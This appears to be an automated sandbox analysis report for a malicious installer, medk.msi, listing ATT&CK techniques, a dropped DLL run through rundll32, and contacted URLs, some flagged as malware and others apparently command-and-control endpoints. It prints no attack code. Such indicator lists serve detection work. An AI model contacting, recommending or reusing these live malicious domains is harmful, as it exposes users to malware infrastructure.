Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	82 Process Injection	2 Obfuscated Files or Information	Security Account Manager	1 Account Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	34 System Information Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	121 Masquerading	Cached Domain Credentials	31 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Virtualization/Sandbox Evasion	DCSync	1 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	82 Process Injection	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Rundll32	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
medk.msi	3%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Roaming\tab.dll	3%	ReversingLabs
C:\Windows\Installer\MSI8D3A.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI8D89.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI8DD8.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI8E17.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI8F42.tmp	0%	ReversingLabs

Source	Detection	Scanner	Label
https://burjog.com:9043/neo.phptJZa	0%	Avira URL Cloud	safe
https://rolefenik.com/test/g	100%	Avira URL Cloud	malware
https://rolefenik.com/test/~	100%	Avira URL Cloud	malware
https://burjog.com:9043/matrix.php~	0%	Avira URL Cloud	safe
https://samomol.com/	0%	Avira URL Cloud	safe
https://ergiholim.com/S	100%	Avira URL Cloud	malware
http://r11.i.lencr	0%	Avira URL Cloud	safe
https://burjog.com:9043/matrix.phpdOga	0%	Avira URL Cloud	safe
https://rolefenik.com/	100%	Avira URL Cloud	malware
https://samomol.com:9043/	0%	Avira URL Cloud	safe
https://samomol.com:9043/pankihoy.php8O;a	0%	Avira URL Cloud	safe
https://samomol.com:9043/pankihoy.phpd	0%	Avira URL Cloud	safe
https://ergiholim.com/test/c	100%	Avira URL Cloud	malware
https://burjog.com:9043/matrix.phpN	0%	Avira URL Cloud	safe
https://ergiholim.com/test/g	100%	Avira URL Cloud	malware
https://ergiholim.com/test/_	100%	Avira URL Cloud	malware
https://ergiholim.com/test/bleSyncOnActivityFeed	100%	Avira URL Cloud	malware
https://samomol.com:9043/pankihoy.php32	0%	Avira URL Cloud	safe
https://samomol.com/0P4a	0%	Avira URL Cloud	safe
https://burjog.com:9043/neo.php	0%	Avira URL Cloud	safe
https://rolefenik.com/X	100%	Avira URL Cloud	malware
https://ergiholim.com/	100%	Avira URL Cloud	malware
https://ergiholim.com/test/p	100%	Avira URL Cloud	malware
https://rolefenik.com/c	100%	Avira URL Cloud	malware
https://samomol.com:9043/pankihoy.phpaOda	0%	Avira URL Cloud	safe
https://samomol.com:9043/pankihoy.php	0%	Avira URL Cloud	safe
https://burjog.com:9043/matrix.phpwOva	0%	Avira URL Cloud	safe
https://burjog.com:9043/pankihoy.php	0%	Avira URL Cloud	safe
https://rolefenik.com/test/	100%	Avira URL Cloud	malware
https://burjog.com:9043/matrix.php	0%	Avira URL Cloud	safe
https://burjog.com:9043/neo.phpAHJ	0%	Avira URL Cloud	safe
https://rolefenik.com/test/K	100%	Avira URL Cloud	malware
https://burjog.com:9043/der	0%	Avira URL Cloud	safe
https://burjog.com:9043/pankihoy.phpCryptographyQJga	0%	Avira URL Cloud	safe
https://rolefenik.com/test/3	100%	Avira URL Cloud	malware
https://burjog.com:9043/	0%	Avira URL Cloud	safe
https://burjog.com/	0%	Avira URL Cloud	safe
https://rolefenik.com/test/;	100%	Avira URL Cloud	malware
https://burjog.com:9043/neo.phpjJ	0%	Avira URL Cloud	safe
https://ergiholim.com/test/	100%	Avira URL Cloud	malware
https://rolefenik.com/est/	100%	Avira URL Cloud	malware
https://rolefenik.com/K	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
samomol.com	87.120.37.120	true	true	unknown
ergiholim.com	104.21.15.162	true	true	unknown
rolefenik.com	104.21.92.105	true	false	high
burjog.com	45.143.166.230	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://rolefenik.com/test/	true	Avira URL Cloud: malware	unknown
https://ergiholim.com/test/	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.msn.com/v1/news/Feed/Windows?	explorer.exe, 00000008.00000002.4581549359.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2237668120.000000000962B000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/I	explorer.exe, 00000008.00000002.4581549359.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2237668120.000000000962B000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/money/savingandinvesting/americans-average-net-worth-by-age/ar-AA1h4ngF	explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	false		high
https://burjog.com:9043/matrix.phpdOga	rundll32.exe, 00000006.00000003.2232775913.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232460525.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4581549359.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000000.2237668120.000000000973C000.00000004.00000001.00020000.00000000.sdmp	false		high
https://rolefenik.com/test/g	explorer.exe, 00000008.00000002.4590045694.000000000C369000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3077667382.000000000C369000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3079194538.000000000C369000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://samomol.com/	rundll32.exe, 00000006.00000003.3335114775.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://word.office.comM	explorer.exe, 00000008.00000000.2242782012.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3083287941.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2980843458.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4590045694.000000000C086000.00000004.00000001.00020000.00000000.sdmp	false		high
http://r11.i.lencr	rundll32.exe, 00000006.00000003.3335149370.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4218743930.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276432733.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276717033.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://burjog.com:9043/matrix.php~	rundll32.exe, 00000006.00000003.2232775913.0000029311A5C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A54000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232460525.0000029311A5A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A5B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-	explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.micro	explorer.exe, 00000008.00000002.4567822986.00000000028A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000000.2236079810.0000000007B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000002.4578819084.0000000007B60000.00000002.00000001.00040000.00000000.sdmp	false		high
https://ergiholim.com/S	explorer.exe, 00000008.00000002.4590045694.000000000C354000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3077667382.000000000C354000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3079194538.000000000C35C000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.msn.com/en-us/news/politics/how-donald-trump-helped-kari-lake-become-arizona-s-and-ameri	explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	false		high
https://burjog.com:9043/neo.phptJZa	rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://samomol.com:9043/	rundll32.exe, 00000006.00000003.3335114775.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rolefenik.com/test/~	explorer.exe, 00000008.00000002.4590045694.000000000BFDF000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://rolefenik.com/	explorer.exe, 00000008.00000002.4590045694.000000000C369000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3077667382.000000000C369000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3079194538.000000000C369000.00000004.00000001.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	false		high
https://ergiholim.com/test/bleSyncOnActivityFeed	explorer.exe, 00000008.00000003.3080227376.00000000032B1000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	rundll32.exe, 00000006.00000003.2232775913.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232426427.0000029311AC8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335149370.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4218743930.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276432733.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335035176.0000029311ABF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276717033.0000029311AC3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335035176.0000029311AC3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232460525.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276432733.0000029311ABE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4569718360.0000029313A30000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A54000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276717033.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335114775.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AD8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4218743930.0000029311AC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232426427.0000029311AC0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	rundll32.exe, 00000006.00000003.2232775913.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232426427.0000029311AC8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335149370.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4218743930.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276432733.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335035176.0000029311ABF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276717033.0000029311AC3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335035176.0000029311AC3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232460525.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276432733.0000029311ABE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4569718360.0000029313A30000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A54000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276717033.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335114775.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AD8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4218743930.0000029311AC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232426427.0000029311AC0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://samomol.com:9043/pankihoy.php8O;a	rundll32.exe, 00000006.00000003.3335114775.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://burjog.com:9043/neo.php	rundll32.exe, 00000006.00000002.4567543964.0000029311A54000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4218743930.0000029311AC2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ergiholim.com/test/g	explorer.exe, 00000008.00000002.4590045694.000000000C354000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3077667382.000000000C354000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3079194538.000000000C35C000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://samomol.com:9043/pankihoy.php32	rundll32.exe, 00000006.00000003.3335114775.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/politics/republicans-already-barred-trump-from-being-speaker-of-the-h	explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/politics/trump-campaign-says-he-raised-more-than-45-million-in-3rd-qu	explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	false		high
https://wns.windows.com/e	explorer.exe, 00000008.00000000.2238643975.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3075025138.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2980638609.00000000099AB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://ergiholim.com/test/_	explorer.exe, 00000008.00000003.3077667382.000000000C354000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3079194538.000000000C35C000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://samomol.com:9043/pankihoy.phpd	rundll32.exe, 00000006.00000003.3335114775.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ergiholim.com/test/c	explorer.exe, 00000008.00000002.4581549359.00000000098AD000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://burjog.com:9043/matrix.phpN	rundll32.exe, 00000006.00000002.4567543964.00000293119F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://r11.o.lencr.org0#	rundll32.exe, 00000006.00000003.2232775913.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232426427.0000029311AC8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335149370.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4218743930.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276432733.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276717033.0000029311AC3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335035176.0000029311AC3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232460525.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276432733.0000029311ABE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4569718360.0000029313A30000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A54000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276717033.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3335114775.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AD8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311AD2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.4218743930.0000029311AC2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232426427.0000029311AC0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.00000293119F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://samomol.com/0P4a	rundll32.exe, 00000006.00000003.3335114775.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	false		high
https://samomol.com:9043/pankihoy.phpaOda	rundll32.exe, 00000006.00000003.3335114775.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rolefenik.com/X	explorer.exe, 00000008.00000003.3080227376.00000000032B1000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ergiholim.com/test/p	explorer.exe, 00000008.00000003.3077667382.000000000C369000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3079194538.000000000C369000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz	explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	false		high
https://ergiholim.com/	explorer.exe, 00000008.00000002.4590045694.000000000C354000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3077667382.000000000C354000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3079194538.000000000C35C000.00000004.00000001.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://excel.office.com-	explorer.exe, 00000008.00000000.2242782012.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.3083287941.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2980843458.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4590045694.000000000C086000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?activityId=435B7A89D7D74BDF801F2DA188906BAF&timeOut=5000&oc	explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg	explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	false		high
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	false		high
https://burjog.com:9043/matrix.php	rundll32.exe, 00000006.00000003.2232775913.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232775913.0000029311A5C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232460525.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4567543964.0000029311A54000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232460525.0000029311A5A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3276876840.0000029311A5B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://burjog.com:9043/pankihoy.php	rundll32.exe, 00000006.00000002.4567543964.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rolefenik.com/c	explorer.exe, 00000008.00000002.4590045694.000000000C369000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.msn.com/en-us/travel/news/you-can-t-beat-bobby-flay-s-phoenix-airport-restaurant-one-of-	explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz-dark	explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	false		high
https://burjog.com:9043/matrix.phpwOva	rundll32.exe, 00000006.00000003.2232775913.0000029311A90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2232460525.0000029311A90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/money/personalfinance/money-matters-changing-institution-of-marriage/ar-AA	explorer.exe, 00000008.00000000.2235320287.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.4577460242.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000008.00000003.2981009634.0000000007414000.00000004.00000001.00020000.00000000.sdmp	false		high
